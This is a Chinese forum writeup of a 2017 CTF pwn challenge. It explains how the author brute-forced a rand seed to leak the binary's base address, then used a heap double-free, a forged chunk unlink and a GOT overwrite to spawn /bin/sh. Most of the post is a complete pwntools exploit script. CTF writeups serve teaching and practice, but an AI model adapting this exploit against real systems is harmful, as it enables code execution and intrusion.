-
-
[原创]CTF2017第四题分析(qwertyaa)
-
发表于:
2017-10-31 12:27
5105
-
[原创]CTF2017第四题分析(qwertyaa)
萌新第一次做pwn...(话说这种题目给了服务器都不带连接方式的,别人的题解貌似也不屑写这个,找了好久才知道要用telnet)
然后看题目,可以申请/修改/删除/查看一些buffer,其中只有第2/3号可以删除,删除的代码又非常简陋(不能再创建/有double free的bug)
同时注意到buffer的大小要求从小到大,而且间隔2个buffer大小至少差0x16,最小的buffer大小大于24,最大的buffer大小小于0x1000-0x10
然后上次比赛第四题刚好是double free啊,当然是拿大佬的题解来改改改了^^(大概就是free后构造一个假的malloc_chunk然后free,导致指向buffer的指针表内一项指向指针表,然后用这一项和buffer修改操作修改Got表)
然后...发现这道题的基址是随机的...
再看到题目中的guess a number,正确就把seed的地址告诉我们,seed的地址减去在ida里看到的seed地址(记为seed_off),就是基址了^^
然而...怎么猜啊...
观察发现srand输入的是32位值,在穷举的可接受范围内^^
然而还是Too slow(因为有计算srand和rand所需要的巨大常数)...
仔细看发现srand输入的是seed的地址啊,seed的地址=基址+seed_off啊,基址又是0x1000对齐的(十六进制后面三位必为0),搜索规模瞬间小了4096倍!!!
接下来的方法就和 看雪.Wifi万能钥匙 2017CTF年中赛
第四题 ReeHY-main 差不多了,在那一题基础上指令不同改一改/各种地址不同改一改/存储各buffer指针的struct不同改一改/由于buffer的大小限制改一改(其实加起来看每句基本都要改...),就GetShell了
以下是用的脚本(需要pwn库)
#!/usr/bin/env python
from pwn import *
import sys
context.arch = 'amd64'
if len(sys.argv) < 2:
p = process('./club')
context.log_level = 'debug'
else:
context.log_level = 'debug'
p = remote(sys.argv[1], int(sys.argv[2]))#gdb.attach(p,'b *0x400cf5 \nb *0x400b62')
def delete(index):
p.recvuntil('> ')
p.send('2')
p.recvuntil('> ')
p.send(str(index+1))
def edit(index,content):
p.recvuntil('> ')
p.send('3')
p.recvuntil('> ')
p.send(str(index+1))
#p.recvuntil('the content\n')
p.send(content)
p.send("\n")
def create(index,size,content):
p.recvuntil('> ')
p.send('1')
p.recvuntil('> ')
p.send(str(index+1))
p.recvuntil('> ')
p.send(str(size))
edit(index,content)
def create3(index,size,content):
#p.recvuntil('> ')
p.send('1')
p.recvuntil('> ')
p.send(str(index+1))
p.recvuntil('> ')
p.send(str(size))
edit(index,content)
def create2(index,size):
p.recvuntil('> ')
p.send('1')
p.recvuntil('> ')
p.send(str(index+1))
p.recvuntil('> ')
p.send(str(size))
def guess(number):
p.recvuntil('> ')
p.send('5')
p.recvuntil('> ')
p.send(str(number))
#p.send('\n')
def show(number):
p.recvuntil('> ')
p.send('4')
p.recvuntil('> ')
p.send(str(number))
#p.send('\n')
def exp():
#p.recvuntil('> ')
guess(1)
z=p.recvline('Wr0ng')
val =int(z[27:-2])
log.info(int(z[27:-2]))
aa=process('./xx')
aa.sendline(str(val))
guess(int(aa.recvline()))
z=p.recvline('G00d')
log.info(z)
val =long(z[26:-2])
log.info(long(z[26:-2]))
#input()
seed_off = 0x202148L
base=val-seed_off
log.info(hex(base))
system_off = 0x45390L
puts_off = 0x6f690L
got_addr = 0x202018L+base
p_addr = 0x202118L+base
puts_plt = 0x202180L+base
#create(0,0x20,'/bin/sh\x00')
create(0,0x30,'234')
create(2,0x200,'XXXX')
create(1,0x100,'YYYY')
delete(2)
delete(1)
payload = p64(0)+p64(0x201)+p64(p_addr-0x18)+p64(p_addr-0x10)+'X'*(0x200-32)+p64(0x200)+p64(0x110)#+'Z'*5
create(3,0x310,payload)
#p.interactive()
delete(1)
#p.interactive()
edit(2,p64(0)+p64(got_addr+0x10)+p64(got_addr))
#p.interactive()
#edit(1,p64(puts_plt))
show(1)
#p.interactive()
puts_addr = p.recv(6)
log.info('x address:'+hex(u64(puts_addr+'\x00'*2)-puts_off))
system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off#+'\x00'*2
edit(1,p64(system_addr))
edit(2,'/bin/sh\x00')
delete(2)
p.interactive()
if __name__ == '__main__':
exp()
其中运行的xx是一个g++编译的程序,用来暴力获取guess a number下一个要猜的数(由于效率和库函数支持所以选用c++)
其代码如下:
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2018-6-18 21:35
被qwertyaa编辑
,原因: beautify code